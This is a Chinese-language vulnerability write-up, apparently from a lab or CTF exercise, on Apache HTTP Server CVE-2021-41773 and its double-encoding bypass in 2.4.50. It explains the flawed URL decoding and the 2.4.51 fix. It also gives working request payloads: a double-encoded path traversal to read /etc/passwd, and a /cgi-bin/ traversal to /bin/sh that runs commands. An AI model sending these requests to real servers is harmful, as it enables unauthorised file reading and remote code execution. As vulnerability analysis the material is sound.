Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。运行此版本 Apache 的 Linux 和 Windows 服务器都受到影响。此漏洞是在 2.4.49 中引入的,该补丁旨在提高 URL 验证的性能。可以通过对“.”进行编码来绕过新的验证方法。如果 Apache 网络服务器配置未设置为“要求全部拒绝”,则漏洞利用相对简单。通过对这些字符进行编码并使用有效负载修改 URL,可以实现经典的路径遍历。
Apache 2.4.49 和 Apache 2.4.50
服务器已启动:mods cgi
或 cgid
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
,成功回显路径,说明存在漏洞。ap_process_request_internal
函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path
函数进行一次url解码,之后会调用ap_unescape_url
函数进行二次解码。这时候我们只需要将../
url编码两次就行了。ap_normalize_path
函数调用栈如下,ap_normalize_path
函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwdunescape_url
函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd补充一下:对于没有进⾏安全配置的Apache服务器,默认情况可以⽤xxx.com/icons/的⽅式打开Apache⽬录下的icons⽂件夹,并且会罗列出⽂件列表。
2.4.51版本针对该漏洞进行了多处修改,最核心的一处修改是在ap_normalize_path
函数中加强了对url编码的校验,如果检测到存在非标准url编码(%+两个十六进制字符)的情况,就返回编码错误,从根本上杜绝了多重编码可能导致的绕过。
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
echo;ls /
echo;ls /tmp
,获得flag升级到最新版的Apache HTTP Server 安全版本。